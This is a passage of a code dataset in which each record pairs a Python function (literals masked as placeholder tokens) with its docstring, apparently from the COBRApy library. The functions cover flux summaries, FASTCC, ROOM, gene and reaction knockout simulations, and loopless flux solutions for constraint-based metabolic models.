fluxes.\n\nThis method requires the model for which this metabolite is a part\nto be solved.\n\nParameters\n----------\nsolution : cobra.Solution, optional\n    A previously solved model solution to use for generating the\n    summary. If none provided (default), the summary method will\n    resolve the model. Note that the solution object must match the\n    model, i.e., changes to the model such as changed bounds,\n    added or removed reactions are not taken into account by this\n    method.\nthreshold : float, optional\n    Threshold below which fluxes are not reported.\nfva : pandas.DataFrame, float or None, optional\n    Whether or not to include flux variability analysis in the output.\n    If given, fva should either be a previous FVA solution matching\n    the model or a float between 0 and 1 representing the\n    fraction of the optimum objective to be searched.\nnames : bool, optional\n    Emit reaction and metabolite names rather than identifiers (default\n    False).\nfloatfmt : string, optional\n    Format string for floats (default '.3g').", "id": "f15953:m0"}
{"signature": "def model_summary(model, solution=None, threshold=<NUM_LIT>, fva=None, names=False,<EOL>floatfmt='<STR_LIT>'):", "body": "if names:<EOL><INDENT>emit = attrgetter('<STR_LIT:name>')<EOL><DEDENT>else:<EOL><INDENT>emit = attrgetter('<STR_LIT:id>')<EOL><DEDENT>objective_reactions = linear_reaction_coefficients(model)<EOL>boundary_reactions = model.exchanges<EOL>summary_rxns = set(objective_reactions.keys()).union(boundary_reactions)<EOL>if solution is None:<EOL><INDENT>model.slim_optimize(error_value=None)<EOL>solution = get_solution(model, reactions=summary_rxns)<EOL><DEDENT>obj_fluxes = pd.DataFrame({key: solution[key.id] * value for key,<EOL>value in iteritems(objective_reactions)},<EOL>index=['<STR_LIT>']).T<EOL>obj_fluxes['<STR_LIT:id>'] = obj_fluxes.apply(<EOL>lambda x: format_long_string(x.name.id, <NUM_LIT:15>), <NUM_LIT:1>)<EOL>metabolites = {m for r in boundary_reactions for m in r.metabolites}<EOL>index = sorted(metabolites, key=attrgetter('<STR_LIT:id>'))<EOL>metabolite_fluxes = pd.DataFrame({<EOL>'<STR_LIT:id>': [format_long_string(emit(m), <NUM_LIT:15>) for m in index],<EOL>'<STR_LIT>': zeros(len(index), dtype=float)<EOL>}, index=[m.id for m in index])<EOL>for rxn in boundary_reactions:<EOL><INDENT>for met, stoich in iteritems(rxn.metabolites):<EOL><INDENT>metabolite_fluxes.at[met.id, '<STR_LIT>'] += stoich * solution[rxn.id]<EOL><DEDENT><DEDENT>if fva is not None:<EOL><INDENT>if len(index) != len(boundary_reactions):<EOL><INDENT>LOGGER.warning(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>metabolite_fluxes['<STR_LIT>'] = zeros(len(index), dtype=float)<EOL>metabolite_fluxes['<STR_LIT>'] = zeros(len(index), dtype=float)<EOL>if hasattr(fva, '<STR_LIT>'):<EOL><INDENT>fva_results = fva<EOL><DEDENT>else:<EOL><INDENT>fva_results = flux_variability_analysis(<EOL>model, reaction_list=boundary_reactions,<EOL>fraction_of_optimum=fva)<EOL><DEDENT>for rxn in boundary_reactions:<EOL><INDENT>for met, stoich in iteritems(rxn.metabolites):<EOL><INDENT>fmin = stoich * fva_results.at[rxn.id, '<STR_LIT>']<EOL>fmax = stoich * fva_results.at[rxn.id, '<STR_LIT>']<EOL>if abs(fmin) <= abs(fmax):<EOL><INDENT>metabolite_fluxes.at[met.id, '<STR_LIT>'] += fmin<EOL>metabolite_fluxes.at[met.id, '<STR_LIT>'] += fmax<EOL><DEDENT>else:<EOL><INDENT>metabolite_fluxes.at[met.id, '<STR_LIT>'] += fmax<EOL>metabolite_fluxes.at[met.id, '<STR_LIT>'] += fmin<EOL><DEDENT><DEDENT><DEDENT><DEDENT>metabolite_fluxes = _process_flux_dataframe(<EOL>metabolite_fluxes, fva, threshold, floatfmt)<EOL>def get_str_table(species_df, fva=False):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if fva:<EOL><INDENT>return tabulate(<EOL>species_df.loc[:, ['<STR_LIT:id>', '<STR_LIT>', '<STR_LIT>']].values,<EOL>floatfmt=floatfmt, tablefmt='<STR_LIT>',<EOL>headers=['<STR_LIT:id>', '<STR_LIT>', '<STR_LIT>']).split('<STR_LIT:\\n>')<EOL><DEDENT>else:<EOL><INDENT>return tabulate(species_df.loc[:, ['<STR_LIT:id>', '<STR_LIT>']].values,<EOL>floatfmt=floatfmt, tablefmt='<STR_LIT>').split('<STR_LIT:\\n>')<EOL><DEDENT><DEDENT>in_table = get_str_table(<EOL>metabolite_fluxes[metabolite_fluxes['<STR_LIT>']], fva=fva is not None)<EOL>out_table = get_str_table(<EOL>metabolite_fluxes[~metabolite_fluxes['<STR_LIT>']], fva=fva is not None)<EOL>obj_table = get_str_table(obj_fluxes, fva=False)<EOL>print_(tabulate(<EOL>[entries for entries in zip_longest(in_table, out_table, obj_table)],<EOL>headers=['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'], tablefmt='<STR_LIT>'))<EOL>", "docstring": "Print a summary of the input and output fluxes of the model.\n\nParameters\n----------\nsolution: cobra.Solution, optional\n    A previously solved model solution to use for generating the\n    summary. If none provided (default), the summary method will\n    resolve the model. Note that the solution object must match the\n    model, i.e., changes to the model such as changed bounds,\n    added or removed reactions are not taken into account by this\n    method.\nthreshold : float, optional\n    Threshold below which fluxes are not reported.\nfva : pandas.DataFrame, float or None, optional\n    Whether or not to include flux variability analysis in the output.\n    If given, fva should either be a previous FVA solution matching\n    the model or a float between 0 and 1 representing the\n    fraction of the optimum objective to be searched.\nnames : bool, optional\n    Emit reaction and metabolite names rather than identifiers (default\n    False).\nfloatfmt : string, optional\n    Format string for floats (default '.3g').", "id": "f15953:m1"}
{"signature": "def _process_flux_dataframe(flux_dataframe, fva, threshold, floatfmt):", "body": "abs_flux = flux_dataframe['<STR_LIT>'].abs()<EOL>flux_threshold = threshold * abs_flux.max()<EOL>if fva is None:<EOL><INDENT>flux_dataframe = flux_dataframe.loc[<EOL>abs_flux >= flux_threshold, :].copy()<EOL><DEDENT>else:<EOL><INDENT>flux_dataframe = flux_dataframe.loc[<EOL>(abs_flux >= flux_threshold) |<EOL>(flux_dataframe['<STR_LIT>'].abs() >= flux_threshold) |<EOL>(flux_dataframe['<STR_LIT>'].abs() >= flux_threshold), :].copy()<EOL><DEDENT>if fva is None:<EOL><INDENT>flux_dataframe['<STR_LIT>'] = (flux_dataframe['<STR_LIT>'] >= <NUM_LIT:0>)<EOL>flux_dataframe['<STR_LIT>'] = flux_dataframe['<STR_LIT>'].abs()<EOL><DEDENT>else:<EOL><INDENT>def get_direction(flux, fmin, fmax):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if flux < <NUM_LIT:0>:<EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT>elif flux > <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>elif (fmax > <NUM_LIT:0>) & (fmin <= <NUM_LIT:0>):<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>elif (fmax < <NUM_LIT:0>) & (fmin >= <NUM_LIT:0>):<EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT>elif ((fmax + fmin) / <NUM_LIT:2>) < <NUM_LIT:0>:<EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>sign = flux_dataframe.apply(<EOL>lambda x: get_direction(x.flux, x.fmin, x.fmax), <NUM_LIT:1>)<EOL>flux_dataframe['<STR_LIT>'] = sign == <NUM_LIT:1><EOL>flux_dataframe.loc[:, ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']] =flux_dataframe.loc[:, ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']].multiply(<EOL>sign, <NUM_LIT:0>).astype('<STR_LIT:float>').round(<NUM_LIT:6>)<EOL>flux_dataframe.loc[:, ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']] =flux_dataframe.loc[:, ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']].applymap(<EOL>lambda x: x if abs(x) > <NUM_LIT> else <NUM_LIT:0>)<EOL><DEDENT>if fva is not None:<EOL><INDENT>flux_dataframe['<STR_LIT>'] = flux_dataframe.apply(<EOL>lambda x: (\"<STR_LIT>\" + floatfmt + \"<STR_LIT>\" +<EOL>floatfmt + \"<STR_LIT>\").format(x), <NUM_LIT:1>)<EOL>flux_dataframe = flux_dataframe.sort_values(<EOL>by=['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:id>'],<EOL>ascending=[False, False, False, True])<EOL><DEDENT>else:<EOL><INDENT>flux_dataframe = flux_dataframe.sort_values(<EOL>by=['<STR_LIT>', '<STR_LIT:id>'], ascending=[False, True])<EOL><DEDENT>return flux_dataframe<EOL>", "docstring": "Some common methods for processing a database of flux information into\n    print-ready formats. Used in both model_summary and metabolite_summary.", "id": "f15953:m2"}
{"signature": "def fastcc(model, flux_threshold=<NUM_LIT:1.0>, zero_cutoff=None):", "body": "zero_cutoff = normalize_cutoff(model, zero_cutoff)<EOL>with model:<EOL><INDENT>obj_vars = []<EOL>vars_and_cons = []<EOL>prob = model.problem<EOL>for rxn in model.reactions:<EOL><INDENT>var = prob.Variable(\"<STR_LIT>\".format(rxn.id),<EOL>lb=<NUM_LIT:0.0>, ub=flux_threshold)<EOL>const = prob.Constraint(rxn.forward_variable +<EOL>rxn.reverse_variable -<EOL>var, name=\"<STR_LIT>\".format(rxn.id),<EOL>lb=<NUM_LIT:0.0>)<EOL>vars_and_cons.extend([var, const])<EOL>obj_vars.append(var)<EOL><DEDENT>model.add_cons_vars(vars_and_cons)<EOL>model.objective = prob.Objective(Zero, sloppy=True, direction=\"<STR_LIT>\")<EOL>model.objective.set_linear_coefficients({v: <NUM_LIT:1.0> for v in obj_vars})<EOL>sol = model.optimize()<EOL><DEDENT>rxns_to_remove = sol.fluxes[sol.fluxes.abs() < zero_cutoff].index<EOL>consistent_model = model.copy()<EOL>consistent_model.remove_reactions(rxns_to_remove, remove_orphans=True)<EOL>return consistent_model<EOL>", "docstring": "r\"\"\"\n    Check consistency of a metabolic network using FASTCC [1]_.\n\n    FASTCC (Fast Consistency Check) is an algorithm for rapid and\n    efficient consistency check in metabolic networks. FASTCC is\n    a pure LP implementation and is low on computation resource\n    demand. FASTCC also circumvents the problem associated with\n    reversible reactions for the purpose. Given a global model,\n    it will generate a consistent global model i.e., remove\n    blocked reactions. For more details on FASTCC, please\n    check [1]_.\n\n    Parameters\n    ----------\n    model: cobra.Model\n        The constraint-based model to operate on.\n    flux_threshold: float, optional (default 1.0)\n        The flux threshold to consider.\n    zero_cutoff: float, optional\n        The cutoff to consider for zero flux (default model.tolerance).\n\n    Returns\n    -------\n    cobra.Model\n        The consistent constraint-based model.\n\n    Notes\n    -----\n    The LP used for FASTCC is like so:\n    maximize: \\sum_{i \\in J} z_i\n    s.t.    : z_i \\in [0, \\varepsilon] \\forall i \\in J, z_i \\in \\mathbb{R}_+\n              v_i \\ge z_i \\forall i \\in J\n              Sv = 0 v \\in B\n\n    References\n    ----------\n    .. [1] Vlassis N, Pacheco MP, Sauter T (2014)\n           Fast Reconstruction of Compact Context-Specific Metabolic Network\n           Models.\n           PLoS Comput Biol 10(1): e1003424. doi:10.1371/journal.pcbi.1003424", "id": "f15954:m0"}
{"signature": "def room(model, solution=None, linear=False, delta=<NUM_LIT>, epsilon=<NUM_LIT>):", "body": "with model:<EOL><INDENT>add_room(model=model, solution=solution, linear=linear, delta=delta,<EOL>epsilon=epsilon)<EOL>solution = model.optimize()<EOL><DEDENT>return solution<EOL>", "docstring": "Compute a single solution based on regulatory on/off minimization (ROOM).\n\nCompute a new flux distribution that minimizes the number of active\nreactions needed to accommodate a previous reference solution.\nRegulatory on/off minimization (ROOM) is generally used to assess the\nimpact of knock-outs. Thus the typical usage is to provide a wildtype flux\ndistribution as reference and a model in knock-out state.\n\nParameters\n----------\nmodel : cobra.Model\n    The model state to compute a ROOM-based solution for.\nsolution : cobra.Solution, optional\n    A (wildtype) reference solution.\nlinear : bool, optional\n    Whether to use the linear ROOM formulation or not (default False).\ndelta: float, optional\n    The relative tolerance range (additive) (default 0.03).\nepsilon: float, optional\n    The absolute tolerance range (multiplicative) (default 0.001).\n\nReturns\n-------\ncobra.Solution\n    A flux distribution with minimal active reaction changes compared to\n    the reference.\n\nSee Also\n--------\nadd_room : add ROOM constraints and objective", "id": "f15955:m0"}
{"signature": "def add_room(model, solution=None, linear=False, delta=<NUM_LIT>, epsilon=<NUM_LIT>):", "body": "if '<STR_LIT>' in model.solver.variables:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if solution is None:<EOL><INDENT>solution = pfba(model)<EOL><DEDENT>prob = model.problem<EOL>variable = prob.Variable(\"<STR_LIT>\", ub=solution.objective_value)<EOL>constraint = prob.Constraint(<EOL>model.solver.objective.expression - variable,<EOL>ub=<NUM_LIT:0.0>,<EOL>lb=<NUM_LIT:0.0>,<EOL>name=\"<STR_LIT>\"<EOL>)<EOL>model.objective = prob.Objective(Zero, direction=\"<STR_LIT>\", sloppy=True)<EOL>vars_and_cons = [variable, constraint]<EOL>obj_vars = []<EOL>for rxn in model.reactions:<EOL><INDENT>flux = solution.fluxes[rxn.id]<EOL>if linear:<EOL><INDENT>y = prob.Variable(\"<STR_LIT>\" + rxn.id, lb=<NUM_LIT:0>, ub=<NUM_LIT:1>)<EOL>delta = epsilon = <NUM_LIT:0.0><EOL><DEDENT>else:<EOL><INDENT>y = prob.Variable(\"<STR_LIT>\" + rxn.id, type=\"<STR_LIT>\")<EOL><DEDENT>w_u = flux + (delta * abs(flux)) + epsilon<EOL>upper_const = prob.Constraint(<EOL>rxn.flux_expression - y * (rxn.upper_bound - w_u),<EOL>ub=w_u, name=\"<STR_LIT>\" + rxn.id)<EOL>w_l = flux - (delta * abs(flux)) - epsilon<EOL>lower_const = prob.Constraint(<EOL>rxn.flux_expression - y * (rxn.lower_bound - w_l),<EOL>lb=w_l, name=\"<STR_LIT>\" + rxn.id)<EOL>vars_and_cons.extend([y, upper_const, lower_const])<EOL>obj_vars.append(y)<EOL><DEDENT>model.add_cons_vars(vars_and_cons)<EOL>model.objective.set_linear_coefficients({v: <NUM_LIT:1.0> for v in obj_vars})<EOL>", "docstring": "r\"\"\"\n    Add constraints and objective for ROOM.\n\n    This function adds variables and constraints for applying regulatory\n    on/off minimization (ROOM) to the model.\n\n    Parameters\n    ----------\n    model : cobra.Model\n        The model to add ROOM constraints and objective to.\n    solution : cobra.Solution, optional\n        A previous solution to use as a reference. If no solution is given,\n        one will be computed using pFBA.\n    linear : bool, optional\n        Whether to use the linear ROOM formulation or not (default False).\n    delta: float, optional\n        The relative tolerance range which is additive in nature\n        (default 0.03).\n    epsilon: float, optional\n        The absolute range of tolerance which is multiplicative\n        (default 0.001).\n\n    Notes\n    -----\n    The formulation used here is the same as stated in the original paper [1]_.\n    The mathematical expression is given below:\n\n    minimize \\sum_{i=1}^m y^i\n    s.t. Sv = 0\n         v_min <= v <= v_max\n         v_j = 0\n         j \u2208 A\n         for 1 <= i <= m\n         v_i - y_i(v_{max,i} - w_i^u) <= w_i^u      (1)\n         v_i - y_i(v_{min,i} - w_i^l) <= w_i^l      (2)\n         y_i \u2208 {0,1}                                (3)\n         w_i^u = w_i + \\delta|w_i| + \\epsilon\n         w_i^l = w_i - \\delta|w_i| - \\epsilon\n\n    So, for the linear version of the ROOM , constraint (3) is relaxed to\n    0 <= y_i <= 1.\n\n    See Also\n    --------\n    pfba : parsimonious FBA\n\n    References\n    ----------\n    .. [1] Tomer Shlomi, Omer Berkman and Eytan Ruppin, \"Regulatory on/off\n     minimization of metabolic flux changes after genetic perturbations\",\n     PNAS 2005 102 (21) 7695-7700; doi:10.1073/pnas.0406346102", "id": "f15955:m1"}
{"signature": "def _multi_deletion(model, entity, element_lists, method=\"<STR_LIT>\",<EOL>solution=None, processes=None, **kwargs):", "body": "solver = sutil.interface_to_str(model.problem.__name__)<EOL>if method == \"<STR_LIT>\" and solver not in sutil.qp_solvers:<EOL><INDENT>raise RuntimeError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(solver))<EOL><DEDENT>if processes is None:<EOL><INDENT>processes = CONFIGURATION.processes<EOL><DEDENT>with model:<EOL><INDENT>if \"<STR_LIT>\" in method:<EOL><INDENT>add_moma(model, solution=solution, linear=\"<STR_LIT>\" in method)<EOL><DEDENT>elif \"<STR_LIT>\" in method:<EOL><INDENT>add_room(model, solution=solution, linear=\"<STR_LIT>\" in method,<EOL>**kwargs)<EOL><DEDENT>args = set([frozenset(comb) for comb in product(*element_lists)])<EOL>processes = min(processes, len(args))<EOL>def extract_knockout_results(result_iter):<EOL><INDENT>result = pd.DataFrame([<EOL>(frozenset(ids), growth, status)<EOL>for (ids, growth, status) in result_iter<EOL>], columns=['<STR_LIT>', '<STR_LIT>', '<STR_LIT:status>'])<EOL>result.set_index('<STR_LIT>', inplace=True)<EOL>return result<EOL><DEDENT>if processes > <NUM_LIT:1>:<EOL><INDENT>worker = dict(gene=_gene_deletion_worker,<EOL>reaction=_reaction_deletion_worker)[entity]<EOL>chunk_size = len(args) // processes<EOL>pool = multiprocessing.Pool(<EOL>processes, initializer=_init_worker, initargs=(model,)<EOL>)<EOL>results = extract_knockout_results(pool.imap_unordered(<EOL>worker,<EOL>args,<EOL>chunksize=chunk_size<EOL>))<EOL>pool.close()<EOL>pool.join()<EOL><DEDENT>else:<EOL><INDENT>worker = dict(gene=_gene_deletion,<EOL>reaction=_reaction_deletion)[entity]<EOL>results = extract_knockout_results(map(<EOL>partial(worker, model), args))<EOL><DEDENT>return results<EOL><DEDENT>", "docstring": "Provide a common interface for single or multiple knockouts.\n\nParameters\n----------\nmodel : cobra.Model\n    The metabolic model to perform deletions in.\nentity : 'gene' or 'reaction'\n    The entity to knockout (``cobra.Gene`` or ``cobra.Reaction``).\nelement_lists : list\n    List of iterables ``cobra.Reaction``s or ``cobra.Gene``s (or their IDs)\n    to be deleted.\nmethod: {\"fba\", \"moma\", \"linear moma\", \"room\", \"linear room\"}, optional\n    Method used to predict the growth rate.\nsolution : cobra.Solution, optional\n    A previous solution to use as a reference for (linear) MOMA or ROOM.\nprocesses : int, optional\n    The number of parallel processes to run. Can speed up the computations\n    if the number of knockouts to perform is large. If not passed,\n    will be set to the number of CPUs found.\nkwargs :\n    Passed on to underlying simulation functions.\n\nReturns\n-------\npandas.DataFrame\n    A representation of all combinations of entity deletions. The\n    columns are 'growth' and 'status', where\n\n    index : frozenset([str])\n        The gene or reaction identifiers that were knocked out.\n    growth : float\n        The growth rate of the adjusted model.\n    status : str\n        The solution's status.", "id": "f15957:m7"}
{"signature": "def single_reaction_deletion(model, reaction_list=None, method=\"<STR_LIT>\",<EOL>solution=None, processes=None, **kwargs):", "body": "return _multi_deletion(<EOL>model, '<STR_LIT>',<EOL>element_lists=_element_lists(model.reactions, reaction_list),<EOL>method=method, solution=solution, processes=processes, **kwargs)<EOL>", "docstring": "Knock out each reaction from a given list.\n\nParameters\n----------\nmodel : cobra.Model\n    The metabolic model to perform deletions in.\nreaction_list : iterable, optional\n    ``cobra.Reaction``s to be deleted. If not passed,\n    all the reactions from the model are used.\nmethod: {\"fba\", \"moma\", \"linear moma\", \"room\", \"linear room\"}, optional\n    Method used to predict the growth rate.\nsolution : cobra.Solution, optional\n    A previous solution to use as a reference for (linear) MOMA or ROOM.\nprocesses : int, optional\n    The number of parallel processes to run. Can speed up the computations\n    if the number of knockouts to perform is large. If not passed,\n    will be set to the number of CPUs found.\nkwargs :\n    Keyword arguments are passed on to underlying simulation functions\n    such as ``add_room``.\n\nReturns\n-------\npandas.DataFrame\n    A representation of all single reaction deletions. The columns are\n    'growth' and 'status', where\n\n    index : frozenset([str])\n        The reaction identifier that was knocked out.\n    growth : float\n        The growth rate of the adjusted model.\n    status : str\n        The solution's status.", "id": "f15957:m10"}
{"signature": "def single_gene_deletion(model, gene_list=None, method=\"<STR_LIT>\", solution=None,<EOL>processes=None, **kwargs):", "body": "return _multi_deletion(<EOL>model, '<STR_LIT>', element_lists=_element_lists(model.genes, gene_list),<EOL>method=method, solution=solution, processes=processes, **kwargs)<EOL>", "docstring": "Knock out each gene from a given list.\n\nParameters\n----------\nmodel : cobra.Model\n    The metabolic model to perform deletions in.\ngene_list : iterable\n    ``cobra.Gene``s to be deleted. If not passed,\n    all the genes from the model are used.\nmethod: {\"fba\", \"moma\", \"linear moma\", \"room\", \"linear room\"}, optional\n    Method used to predict the growth rate.\nsolution : cobra.Solution, optional\n    A previous solution to use as a reference for (linear) MOMA or ROOM.\nprocesses : int, optional\n    The number of parallel processes to run. Can speed up the computations\n    if the number of knockouts to perform is large. If not passed,\n    will be set to the number of CPUs found.\nkwargs :\n    Keyword arguments are passed on to underlying simulation functions\n    such as ``add_room``.\n\nReturns\n-------\npandas.DataFrame\n    A representation of all single gene deletions. The columns are\n    'growth' and 'status', where\n\n    index : frozenset([str])\n        The gene identifier that was knocked out.\n    growth : float\n        The growth rate of the adjusted model.\n    status : str\n        The solution's status.", "id": "f15957:m11"}
{"signature": "def double_reaction_deletion(model, reaction_list1=None, reaction_list2=None,<EOL>method=\"<STR_LIT>\", solution=None, processes=None,<EOL>**kwargs):", "body": "reaction_list1, reaction_list2 = _element_lists(model.reactions,<EOL>reaction_list1,<EOL>reaction_list2)<EOL>return _multi_deletion(<EOL>model, '<STR_LIT>', element_lists=[reaction_list1, reaction_list2],<EOL>method=method, solution=solution, processes=processes, **kwargs)<EOL>", "docstring": "Knock out each reaction pair from the combinations of two given lists.\n\nWe say 'pair' here but the order order does not matter.\n\nParameters\n----------\nmodel : cobra.Model\n    The metabolic model to perform deletions in.\nreaction_list1 : iterable, optional\n    First iterable of ``cobra.Reaction``s to be deleted. If not passed,\n    all the reactions from the model are used.\nreaction_list2 : iterable, optional\n    Second iterable of ``cobra.Reaction``s to be deleted. If not passed,\n    all the reactions from the model are used.\nmethod: {\"fba\", \"moma\", \"linear moma\", \"room\", \"linear room\"}, optional\n    Method used to predict the growth rate.\nsolution : cobra.Solution, optional\n    A previous solution to use as a reference for (linear) MOMA or ROOM.\nprocesses : int, optional\n    The number of parallel processes to run. Can speed up the computations\n    if the number of knockouts to perform is large. If not passed,\n    will be set to the number of CPUs found.\nkwargs :\n    Keyword arguments are passed on to underlying simulation functions\n    such as ``add_room``.\n\nReturns\n-------\npandas.DataFrame\n    A representation of all combinations of reaction deletions. The\n    columns are 'growth' and 'status', where\n\n    index : frozenset([str])\n        The reaction identifiers that were knocked out.\n    growth : float\n        The growth rate of the adjusted model.\n    status : str\n        The solution's status.", "id": "f15957:m12"}
{"signature": "def double_gene_deletion(model, gene_list1=None, gene_list2=None, method=\"<STR_LIT>\",<EOL>solution=None, processes=None, **kwargs):", "body": "gene_list1, gene_list2 = _element_lists(model.genes, gene_list1,<EOL>gene_list2)<EOL>return _multi_deletion(<EOL>model, '<STR_LIT>', element_lists=[gene_list1, gene_list2],<EOL>method=method, solution=solution, processes=processes, **kwargs)<EOL>", "docstring": "Knock out each gene pair from the combination of two given lists.\n\nWe say 'pair' here but the order order does not matter.\n\nParameters\n----------\nmodel : cobra.Model\n    The metabolic model to perform deletions in.\ngene_list1 : iterable, optional\n    First iterable of ``cobra.Gene``s to be deleted. If not passed,\n    all the genes from the model are used.\ngene_list2 : iterable, optional\n    Second iterable of ``cobra.Gene``s to be deleted. If not passed,\n    all the genes from the model are used.\nmethod: {\"fba\", \"moma\", \"linear moma\", \"room\", \"linear room\"}, optional\n    Method used to predict the growth rate.\nsolution : cobra.Solution, optional\n    A previous solution to use as a reference for (linear) MOMA or ROOM.\nprocesses : int, optional\n    The number of parallel processes to run. Can speed up the computations\n    if the number of knockouts to perform is large. If not passed,\n    will be set to the number of CPUs found.\nkwargs :\n    Keyword arguments are passed on to underlying simulation functions\n    such as ``add_room``.\n\nReturns\n-------\npandas.DataFrame\n    A representation of all combinations of gene deletions. The\n    columns are 'growth' and 'status', where\n\n    index : frozenset([str])\n        The gene identifiers that were knocked out.\n    growth : float\n        The growth rate of the adjusted model.\n    status : str\n        The solution's status.", "id": "f15957:m13"}
{"signature": "def normalize_cutoff(model, zero_cutoff=None):", "body": "if zero_cutoff is None:<EOL><INDENT>return model.tolerance<EOL><DEDENT>else:<EOL><INDENT>if zero_cutoff < model.tolerance:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>else:<EOL><INDENT>return zero_cutoff<EOL><DEDENT><DEDENT>", "docstring": "Return a valid zero cutoff value.", "id": "f15958:m0"}
{"signature": "def add_loopless(model, zero_cutoff=None):", "body": "zero_cutoff = normalize_cutoff(model, zero_cutoff)<EOL>internal = [i for i, r in enumerate(model.reactions) if not r.boundary]<EOL>s_int = create_stoichiometric_matrix(model)[:, numpy.array(internal)]<EOL>n_int = nullspace(s_int).T<EOL>max_bound = max(max(abs(b) for b in r.bounds) for r in model.reactions)<EOL>prob = model.problem<EOL>to_add = []<EOL>for i in internal:<EOL><INDENT>rxn = model.reactions[i]<EOL>indicator = prob.Variable(\"<STR_LIT>\" + rxn.id, type=\"<STR_LIT>\")<EOL>on_off_constraint = prob.Constraint(<EOL>rxn.flux_expression - max_bound * indicator,<EOL>lb=-max_bound, ub=<NUM_LIT:0>, name=\"<STR_LIT>\" + rxn.id)<EOL>delta_g = prob.Variable(\"<STR_LIT>\" + rxn.id)<EOL>delta_g_range = prob.Constraint(<EOL>delta_g + (max_bound + <NUM_LIT:1>) * indicator,<EOL>lb=<NUM_LIT:1>, ub=max_bound, name=\"<STR_LIT>\" + rxn.id)<EOL>to_add.extend([indicator, on_off_constraint, delta_g, delta_g_range])<EOL><DEDENT>model.add_cons_vars(to_add)<EOL>for i, row in enumerate(n_int):<EOL><INDENT>name = \"<STR_LIT>\" + str(i)<EOL>nullspace_constraint = prob.Constraint(Zero, lb=<NUM_LIT:0>, ub=<NUM_LIT:0>, name=name)<EOL>model.add_cons_vars([nullspace_constraint])<EOL>coefs = {model.variables[<EOL>\"<STR_LIT>\" + model.reactions[ridx].id]: row[i]<EOL>for i, ridx in enumerate(internal) if<EOL>abs(row[i]) > zero_cutoff}<EOL>model.constraints[name].set_linear_coefficients(coefs)<EOL><DEDENT>", "docstring": "Modify a model so all feasible flux distributions are loopless.\n\n    In most cases you probably want to use the much faster `loopless_solution`.\n    May be used in cases where you want to add complex constraints and\n    objecives (for instance quadratic objectives) to the model afterwards\n    or use an approximation of Gibbs free energy directions in you model.\n    Adds variables and constraints to a model which will disallow flux\n    distributions with loops. The used formulation is described in [1]_.\n    This function *will* modify your model.\n\n    Parameters\n    ----------\n    model : cobra.Model\n        The model to which to add the constraints.\n    zero_cutoff : positive float, optional\n        Cutoff used for null space. Coefficients with an absolute value smaller\n        than `zero_cutoff` are considered to be zero (default model.tolerance).\n\n    Returns\n    -------\n    Nothing\n\n    References\n    ----------\n    .. [1] Elimination of thermodynamically infeasible loops in steady-state\n       metabolic models. Schellenberger J, Lewis NE, Palsson BO. Biophys J.\n       2011 Feb 2;100(3):544-53. doi: 10.1016/j.bpj.2010.12.3707. Erratum\n       in: Biophys J. 2011 Mar 2;100(5):1381.", "id": "f15959:m0"}
{"signature": "def _add_cycle_free(model, fluxes):", "body": "model.objective = model.solver.interface.Objective(<EOL>Zero, direction=\"<STR_LIT>\", sloppy=True)<EOL>objective_vars = []<EOL>for rxn in model.reactions:<EOL><INDENT>flux = fluxes[rxn.id]<EOL>if rxn.boundary:<EOL><INDENT>rxn.bounds = (flux, flux)<EOL>continue<EOL><DEDENT>if flux >= <NUM_LIT:0>:<EOL><INDENT>rxn.bounds = max(<NUM_LIT:0>, rxn.lower_bound), max(flux, rxn.upper_bound)<EOL>objective_vars.append(rxn.forward_variable)<EOL><DEDENT>else:<EOL><INDENT>rxn.bounds = min(flux, rxn.lower_bound), min(<NUM_LIT:0>, rxn.upper_bound)<EOL>objective_vars.append(rxn.reverse_variable)<EOL><DEDENT><DEDENT>model.objective.set_linear_coefficients({v: <NUM_LIT:1.0> for v in objective_vars})<EOL>", "docstring": "Add constraints for CycleFreeFlux.", "id": "f15959:m1"}
{"signature": "def loopless_solution(model, fluxes=None):", "body": "<EOL>if fluxes is None:<EOL><INDENT>sol = model.optimize(objective_sense=None)<EOL>fluxes = sol.fluxes<EOL><DEDENT>with model:<EOL><INDENT>prob = model.problem<EOL>loopless_obj_constraint = prob.Constraint(<EOL>model.objective.expression,<EOL>lb=-<NUM_LIT>, name=\"<STR_LIT>\")<EOL>model.add_cons_vars([loopless_obj_constraint])<EOL>_add_cycle_free(model, fluxes)<EOL>solution = model.optimize(objective_sense=None)<EOL>solution.objective_value = loopless_obj_constraint.primal<EOL><DEDENT>return solution<EOL>", "docstring": "Convert an existing solution to a loopless one.\n\n    Removes as many loops as possible (see Notes).\n    Uses the method from CycleFreeFlux [1]_ and is much faster than\n    `add_loopless` and should therefore be the preferred option to get loopless\n    flux distributions.\n\n    Parameters\n    ----------\n    model : cobra.Model\n        The model to which to add the constraints.\n    fluxes : dict\n        A dictionary {rxn_id: flux} that assigns a flux to each reaction. If\n        not None will use the provided flux values to obtain a close loopless\n        solution.\n\n    Returns\n    -------\n    cobra.Solution\n        A solution object containing the fluxes with the least amount of\n        loops possible or None if the optimization failed (usually happening\n        if the flux distribution in `fluxes` is infeasible).\n\n    Notes\n    -----\n    The returned flux solution has the following properties:\n\n    - it contains the minimal number of loops possible and no loops at all if\n      all flux bounds include zero\n    - it has an objective value close to the original one and the same\n      objective value id the objective expression can not form a cycle\n      (which is usually true since it consumes metabolites)\n    - it has the same exact exchange fluxes as the previous solution\n    - all fluxes have the same sign (flow in the same direction) as the\n      previous solution\n\n    References\n    ----------\n    .. [1] CycleFreeFlux: efficient removal of thermodynamically 